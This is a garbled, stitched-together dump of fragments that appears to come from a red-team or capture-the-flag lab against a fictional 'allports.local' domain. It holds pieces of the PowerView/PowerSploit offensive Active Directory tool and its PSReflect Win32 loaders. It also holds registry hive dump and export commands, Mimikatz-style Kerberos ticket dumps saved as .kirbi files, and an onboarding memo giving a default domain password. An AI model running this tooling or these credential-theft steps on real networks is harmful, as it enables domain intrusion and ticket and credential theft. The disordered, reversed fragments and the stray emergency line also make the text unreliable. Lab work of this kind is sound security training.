_raw: 'S-1-5-32-551'  { 'BUILTIN\Backup Operators' }


_raw: 'S-1-5-32-550'  { 'BUILTIN\Print Operators' }


_raw: 'S-1-5-32-549'  { 'BUILTIN\Server Operators' }


_raw: 'S-1-5-32-548'  { 'BUILTIN\Account Operators' }


_raw: 'S-1-5-32-547'  { 'BUILTIN\Power Users' }


_raw: 'S-1-5-32-544'  { 'BUILTIN\Administrators' }


_raw: 'S-1-5-17'      { 'This Organization ' }


_raw: 'S-1-5-15'      { 'This Organization ' }


_raw: 'S-1-5-14'      { 'Remote Interactive Logon' }


_raw: 'S-1-5-13'      { 'Terminal Server Users' }


_raw: 'S-1-5-11'      { 'Authenticated Users' }


_raw: 'S-1-5-9'       { 'Enterprise Domain Controllers' }


_raw: 'S-1-4'         { 'Non-unique Authority' }


_raw: 'S-1-3-3'       { 'Creator Group Server' }


_raw: 'S-1-3-2'       { 'Creator Owner Server' }


_raw: # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330


_raw: if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Accepts one or more SID strings on the pipeline.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Specifies an alternate credential to use for the translation.


_raw: Specifies an Active Directory server (domain controller) to bind to for the translation.


_raw: Specifies the domain to use for the translation, defaults to the current domain.


_raw: Converts a security identifier string (SID) to a group/user name


_raw: Converts a security identifier (SID) to a group/user name.


_raw: Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"


_raw: $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))


_raw: $Domain = (Get-Domain @DomainSearcherArguments).Name


_raw: elseif (-not $PSBoundParameters['Domain']) {


_raw: Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid


_raw: $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: A string representing the SID of the translated name.


_raw: Accepts one or more username specification strings on the pipeline.


_raw: 'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Specifies an alternate credential to use for the translation.


_raw: Specifies an Active Directory server (domain controller) to bind to for the translation.


_raw: Specifies the domain to use for the translation, defaults to the current domain.


_raw: The user/group name to convert, can be 'user' or 'DOMAIN\user' format.


_raw: credentials are supplied, then Get-ADObject is used to try to map the name


_raw: using System.Security.Principal.NTAccount's translate function. If alternate


_raw: Converts a "DOMAIN\username" syntax to a security identifier (SID)


_raw: Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain


_raw: Converts a given user/group name to a security identifier (SID).


_raw: Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."


_raw: $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString


_raw: $Out | Add-Member Noteproperty 'ComputerName' $Computer


_raw: if ($_.AddressFamily -eq 'InterNetwork') {


_raw: @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: A custom PSObject with the ComputerName and IPAddress.


_raw: Accepts one or more IP address strings on the pipeline.


_raw: @("SERVER1", "SERVER2") | Resolve-IPAddress


_raw: [Net.Dns]::GetHostEntry(). If no hostname is provided, the default


_raw: Resolves a given hostename to its associated IPv4 address using


_raw: Resolves a given hostename to its associated IPv4 address.


_raw: $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }


_raw: $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }


_raw: $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation


_raw: $CSVWriter = New-Object System.IO.StreamWriter($CSVStream)


_raw: $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)


_raw: $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'


_raw: # mutex so threaded code doesn't stomp on the output file


_raw: [Parameter(Mandatory = $True, Position = 1)]


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Accepts one or more PSObjects on the pipeline.


_raw: Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'


_raw: Get-DomainUser | Export-PowerViewCSV -Path "users.csv"


_raw: Without this parameter, Export-PowerViewCSV replaces the file contents without warning.


_raw: Indicates that this cmdlet adds the CSV output to the end of the specified file.


_raw: Specifies a delimiter to separate the property values. The default is a comma (,)


_raw: Specifies the path to the CSV output file.


_raw: Specifies the objects to export as CSV strings.


_raw: Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590


_raw: Uses .NET IO.FileStream/IO.StreamWriter objects for speed.


_raw: PowerView has a thread-safe way to export output to the same file.


_raw: using a mutex. This is so the various multi-threaded functions in


_raw: This helper exports an -InputObject to a .csv in a thread-safe manner


_raw: strings in a CSV file in a thread-safe manner.


_raw: Converts objects into a series of comma-separated (CSV) strings and saves the


_raw: $IniObject.$Section | Add-Member Noteproperty $Name $Values


_raw: # if ($Values -isnot [System.Array]) { $Values = @($Values) }


_raw: $Values = $Value.split(',') | ForEach-Object { $_.Trim() }


_raw: $IniObject.$Section | Add-Member Noteproperty $Name $Value


_raw: $IniObject | Add-Member Noteproperty $Section $SectionObject


_raw: Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential


_raw: # map IPC$ to this computer if it's not already


_raw: if (-not $MappedComputers[$HostComputer]) {


_raw: $HostComputer = (New-Object System.Uri($TargetPath)).Host


_raw: if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {


_raw: [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Ouputs a hashtable representing the parsed .ini file.


_raw: Accepts one or more .ini paths on the pipeline.


_raw: Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Outputs the .ini details as a proper nested PSObject.


_raw: "C:\Windows\example.ini" | Get-IniContent -OutputObject


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Output a custom PSObject instead of a hashtable.


_raw: Specifies the path to the .ini file to parse.


_raw: is parsed, and then the connection is destroyed with Remove-RemoteConnection.


_raw: then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file


_raw: Parses an .ini file into a hashtable. If -Credential is supplied,


_raw: Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection


_raw: Modifications: @harmj0y (-Credential support)


_raw: This helper parses an .ini file into a hashtable.


_raw: if(!$CreateVariables -and !$Dictionary) {


_raw: $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)


_raw: $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop


_raw: $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop


_raw: switch -regex ($PSBoundParameters.Keys) {


_raw: $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]


_raw: if($DPDictionary.Keys -contains $Name) {


_raw: $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute


_raw: # Strings to match attributes and validation arguments


_raw: $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}


_raw: if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {


_raw: $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0


_raw: ForEach ($Parameter in $UnboundParameters) {


_raw: # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)


_raw: Where-Object { $PSBoundParameters.Keys -notcontains $_ }


_raw: # Find unbound parameters in the current parameter set


_raw: Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |


_raw: # Find parameters that are belong to the current parameter set


_raw: $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator()  |


_raw: # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters


_raw: $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}


_raw: if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {


_raw: # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator


_raw: if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {


_raw: # If object has Equals, compare bound key and variable using it


_raw: if($_.Value.PSobject.Methods.Name -match '^Equals$') {


_raw: $StaleKeys = $PSBoundParameters.GetEnumerator() |


_raw: Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force


_raw: $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }


_raw: $CommonParameters = (Get-Command _temp).Parameters.Keys


_raw: function _temp { [CmdletBinding()] Param() }


_raw: $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary


_raw: Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'


_raw: if($_.GetType().Name -notmatch 'Dictionary') {


_raw: # so one can't use PowerShell's '-is' operator to validate type.


_raw: # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,


_raw: [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]


_raw: Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'


_raw: [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]


_raw: [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]


_raw: Appropriate for a simple dynamic parameter creation.


_raw: If not specified, create and return a RuntimeDefinedParameterDictionary


_raw: Appropriate for custom dynamic parameters creation.


_raw: If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.


_raw: If specified, set the ValidateSet attribute of this dynamic parameter


_raw: If specified, set the ValidateScript attribute of this dynamic parameter


_raw: If specified, set the ValidatePattern attribute of this dynamic parameter


_raw: If specified, set the ValidateLength attribute of this dynamic parameter


_raw: If specified, set the ValidateRange attribute of this dynamic parameter


_raw: If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter


_raw: If specified, set the ValidateNotNull attribute of this dynamic parameter


_raw: If specified, set the AllowEmptyCollection attribute of this dynamic parameter


_raw: If specified, set the AllowEmptyString attribute of this dynamic parameter


_raw: If specified, set the AllowNull attribute of this dynamic parameter


_raw: If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.


_raw: If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter


_raw: If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter


_raw: If specified, set the ValueFromPipeline attribute for this dynamic parameter


_raw: This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.


_raw: If specified, set the DontShow for this dynamic parameter.


_raw: If specified, set the HelpMessage for this dynamic parameter


_raw: If specified, set the Position attribute for this dynamic parameter


_raw: If specified, set the Mandatory attribute for this dynamic parameter


_raw: If specified, one or more aliases to assign to the dynamic parameter


_raw: Type for the dynamic parameter.  Default is string


_raw: Credit to BM for alias and type parameters and their handling


_raw: Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:


_raw: Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,


_raw: 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.


_raw: with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.


_raw: 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,


_raw: Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.


_raw: ('Process' for advanced functions) to create those variables.


_raw: Use New-DynamicParameter with 'CreateVariables' switch in your main code block,


_raw: Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.


_raw: Provide tab completion and intellisense for parameters, depending on the environment


_raw: Include parameters depending on the value of a user-specified parameter


_raw: Include parameters only if your environment dictates it


_raw: Helper function to simplify creating dynamic parameters.


_raw: Originally released under the Microsoft Public License (Ms-PL).


_raw: [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))


_raw: 'PrivateScope, Public, Static, HideBySig, SpecialName',


_raw: # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!


_raw: # Allow for explicit casting from an IntPtr


_raw: # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!


_raw: # Make the struct aware of its own size.


_raw: if ($ExplicitLayout) { $NewField.SetOffset($Offset) }


_raw: $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))


_raw: $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,


_raw: $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])


_raw: $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')


_raw: $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}


_raw: # Unfortunately, PSv2 doesn't have the luxury of the


_raw: # Sort each field according to the orders specified


_raw: $Fields = New-Object Hashtable[]($StructFields.Count)


_raw: $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)


_raw: $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout


_raw: $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout


_raw: [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,


_raw: [Parameter(Position = 3, Mandatory=$True)]


_raw: [Parameter(Position = 2, Mandatory=$True)]


_raw: [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]


_raw: [Parameter(Position = 1, Mandatory=$True)]


_raw: definition as closely as possible. Sorry, I'm not going to name it


_raw: again, this was developed in such a way so as to emulate a "C style"


_raw: PowerShell purists may disagree with the naming of this function but


_raw: # Example of using an explicit layout in order to create a union.


_raw: e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)


_raw: e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)


_raw: $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{


_raw: $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{


_raw: $Mod = New-InMemoryModule -ModuleName Win32


_raw: Indicates that an explicit offset for each field will be specified.


_raw: Specifies the memory alignment of fields.


_raw: A hashtable of fields. Use the 'field' helper function to ease


_raw: New-InMemoryModule to define an in-memory module.


_raw: The in-memory module that will host the struct. Use


_raw: relying upon calling SizeOf and/or PtrToStructure in the Marshal


_raw: converter so that you can easily cast an IntPtr to the struct without


_raw: it will come with a built-in GetSize method as well as an explicit


_raw: One of the features of 'struct' is that after your struct is defined,


_raw: type, and optionally, its offset and special marshaling attributes.


_raw: is comprosed of the order in which it should be defined, its .NET


_raw: fields are specified using a hashtable where each field of the struct


_raw: memory using as close to a "C style" as PowerShell will allow. Struct


_raw: The 'struct' function facilitates the creation of structs entirely in


_raw: Author: Matthew Graeber (@mattifestation)


_raw: Creates an in-memory struct for use in your PowerShell session.


_raw: [Parameter(Position = 1, Mandatory=$True)]


_raw: [Parameter(Position = 0, Mandatory=$True)]


_raw: # A helper function used to reduce typing while defining struct


_raw: $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)


_raw: # Apply the specified enum type to each element


_raw: $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())


_raw: $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)


_raw: [Parameter(Position = 3, Mandatory=$True)]


_raw: [Parameter(Position = 2, Mandatory=$True)]


_raw: [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]


_raw: definition as closely as possible. Sorry, I'm not going to name it


_raw: again, this was developed in such a way so as to emulate a "C style"


_raw: PowerShell purists may disagree with the naming of this function but


_raw: WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.


_raw: NATIVE_WINDOWS =           8 # Image is a native Win9x driver.


_raw: POSIX_CUI =                7 # Image runs in the Posix character subsystem.


_raw: OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.


_raw: WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.


_raw: WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.


_raw: NATIVE =                   1 # Image doesn't require a subsystem.


_raw: $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{


_raw: $Mod = New-InMemoryModule -ModuleName Win32


_raw: Specifies that the enum should be treated as a bitfield.


_raw: New-InMemoryModule to define an in-memory module.


_raw: The in-memory module that will host the enum. Use


_raw: memory using as close to a "C style" as PowerShell will allow.


_raw: The 'psenum' function facilitates the creation of enums entirely in


_raw: Author: Matthew Graeber (@mattifestation)


_raw: Creates an in-memory enumeration for use in your PowerShell session.


_raw:
#requires -version 2
<#
PowerSploit File: PowerView.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
#>
########################################################
#
# PSReflect code for Windows API access
# Author: @mattifestation
#   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
#
########################################################
function New-InMemoryModule {
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>
    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
    [CmdletBinding()]
    Param (
        [Parameter(Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ModuleName = [Guid]::NewGuid().ToString()
    )
    $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
    $LoadedAssemblies = $AppDomain.GetAssemblies()
    foreach ($Assembly in $LoadedAssemblies) {
        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
            return $Assembly
        }
    }
    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
    $Domain = $AppDomain
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
    return $ModuleBuilder
}
# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
function func {
    Param (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $DllName,
        [Parameter(Position = 1, Mandatory = $True)]
        [string]
        $FunctionName,
        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $ReturnType,
        [Parameter(Position = 3)]
        [Type[]]
        $ParameterTypes,
        [Parameter(Position = 4)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention,
        [Parameter(Position = 5)]
        [Runtime.InteropServices.CharSet]
        $Charset,
        [String]
        $EntryPoint,
        [Switch]
        $SetLastError
    )
    $Properties = @{
        DllName = $DllName
        FunctionName = $FunctionName
        ReturnType = $ReturnType
    }
    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
    if ($Charset) { $Properties['Charset'] = $Charset }
    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
    if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
    New-Object PSObject -Property $Properties
}
function Add-Win32Type
{
<#
.SYNOPSIS
Creates a .NET type for an unmanaged Win32 function.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: func
.DESCRIPTION
Add-Win32Type enables you to easily interact with unmanaged (i.e.
Win32 unmanaged) functions in PowerShell. After providing
Add-Win32Type with a function signature, a .NET type is created
using reflection (i.e. csc.exe is never called like with Add-Type).
The 'func' helper function can be used to reduce typing when defining
multiple function definitions.
.PARAMETER DllName
The name of the DLL.
.PARAMETER FunctionName
The name of the target function.
.PARAMETER EntryPoint
The DLL export function name. This argument should be specified if the
specified function name is different than the name of the exported
function.
.PARAMETER ReturnType
The return type of the function.
.PARAMETER ParameterTypes
The function parameters.
.PARAMETER NativeCallingConvention
Specifies the native calling convention of the function. Defaults to
stdcall.
.PARAMETER Charset
If you need to explicitly call an 'A' or 'W' Win32 function, you can
specify the character set.
.PARAMETER SetLastError
Indicates whether the callee calls the SetLastError Win32 API
function before returning from the attributed method.
.PARAMETER Module
The in-memory module that will host the functions. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER Namespace
An optional namespace to prepend to the type. Add-Win32Type defaults
to a namespace consisting only of the name of the DLL.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
  (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
  (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
  (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$Ntdll = $Types['ntdll']
$Ntdll::RtlGetCurrentPeb()
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
.NOTES
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
When defining multiple function prototypes, it is ideal to provide
Add-Win32Type with an array of function signatures. That way, they
are all incorporated into the same in-memory module.
#>
    [OutputType([Hashtable])]
    Param(
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [String]
        $DllName,
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [String]
        $FunctionName,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [String]
        $EntryPoint,
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [Type]
        $ReturnType,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Type[]]
        $ParameterTypes,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Runtime.InteropServices.CharSet]
        $Charset = [Runtime.InteropServices.CharSet]::Auto,
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Switch]
        $SetLastError,
        [Parameter(Mandatory=$True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,
        [ValidateNotNull()]
        [String]
        $Namespace = ''
    )
    BEGIN
    {
        $TypeHash = @{}
    }
    PROCESS
    {
        if ($Module -is [Reflection.Assembly])
        {
            if ($Namespace)
            {
                $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
            }
            else
            {
                $TypeHash[$DllName] = $Module.GetType($DllName)
            }
        }
        else
        {
            # Define one type for each DLL
            if (!$TypeHash.ContainsKey($DllName))
            {
                if ($Namespace)
                {
                    $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
                }
                else
                {
                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
                }
            }
            $Method = $TypeHash[$DllName].DefineMethod(
                $FunctionName,
                'Public,Static,PinvokeImpl',
                $ReturnType,
                $ParameterTypes)
            # Make each ByRef parameter an Out parameter
            $i = 1
            foreach($Parameter in $ParameterTypes)
            {
                if ($Parameter.IsByRef)
                {
                    [void] $Method.DefineParameter($i, 'Out', $null)
                }
                $i++
            }
            $DllImport = [Runtime.InteropServices.DllImportAttribute]
            $SetLastErrorField = $DllImport.GetField('SetLastError')
            $CallingConventionField = $DllImport.GetField('CallingConvention')
            $CharsetField = $DllImport.GetField('CharSet')
            $EntryPointField = $DllImport.GetField('EntryPoint')
            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
            if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
            # Equivalent to C# version of [DllImport(DllName)]
            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
                [Reflection.FieldInfo[]] @($SetLastErrorField,
                                           $CallingConventionField,
                                           $CharsetField,
                                           $EntryPointField),
                [Object[]] @($SLEValue,
                             ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
                             ([Runtime.InteropServices.CharSet] $Charset),
                             $ExportedFuncName))
            $Method.SetCustomAttribute($DllImportAttribute)
        }
    }
    END


_raw: reg query HKLM\TempHive /s > C:\User\guest\Downloads\user_hive_dump.txt


_raw: eg query HKLM\TempHive /s > C:\User\guest\Downloads\user_hive_dump.txt


_raw: reg export HKLM\TempHive C:\temp\user_hive_export.reg


_raw: There is an Emergency!! All individuals should move to the nearest shelter.


_raw:
           Start/End/MaxRenew: 11/8/2025 4:54:10 PM ; 11/9/2025 2:39:10 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : cifs ; APT-DC-01.allports.local ; @ ALLPORTS.LOCAL
           Target Name  (02) : cifs ; APT-DC-01.allports.local ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             125f788f39e9a11573a2349f1f02e06f1dc2792dac51b395a7b46c0ce61003fd
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
           * Saved to file [0;3e4]-0-0-40a50000-DECKHAND-01$@cifs-APT-DC-01.allports.local.kirbi !
         [00000001]


_raw:
Internal Use Only — All Ports Tours
All Ports Tours – Day One Onboarding
Congratulations and welcome aboard! We're excited to have you join the All Ports Tours
family. This "Day One" quick-start guide will help you log in to your account and complete your
first steps.
Step 1 — Log in to your account (Active Directory)
1. Power on your assigned device and reach the Windows login screen.
2. Enter the username provided by IT, typically formatted as REDACTED_EMAIL.
3. Enter the default password exactly as shown below:
Default password: Sails@way!
Important: This password is a temporary credential. You must change it on first login.
Step 2 — Change your password immediately
After logging in, you will be prompted to change your password. Use a strong password with
at least 12 characters, uppercase, lowercase, numbers, and special symbols.
Step 3 — Access important services
Once setup is complete, ensure you can access:
• Company email (Outlook/Exchange)
• VPN (if working remotely or ship-to-shore)
• All Ports Tours intranet & HR portal
• Crew tools and scheduling systems
Day One Checklist
■ Log in with username provided by IT
Internal Use Only — All Ports Tours
■ Use default password Sails@way!
■ Change your password on first login
■ Confirm access to email, intranet, and required systems
■ Review the Employee Handbook and Crew Quick Reference
■ Save IT support contact information
IT Support & Escalation
• IT Helpdesk: REDACTED_EMAIL (ext. 1000)
• Shipboard IT (emergency): REDACTED_EMAIL
• Hours: 08:00–20:00 (shore), shipboard IT follows vessel schedules
Security Reminders
• The default password is temporary. Do not share it.
• Never write your password on sticky notes.
• Report suspicious activity to REDACTED_EMAIL.
Welcome to All Ports Tours — Sunsets as a
Service™


_raw: Client Name       : deckhand-01$ @ ALLPORTS.LOCAL


_raw:
           Start/End/MaxRenew: 11/8/2025 4:39:10 PM ; 11/9/2025 2:39:10 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Target Name  (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( ALLPORTS.LOCAL )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
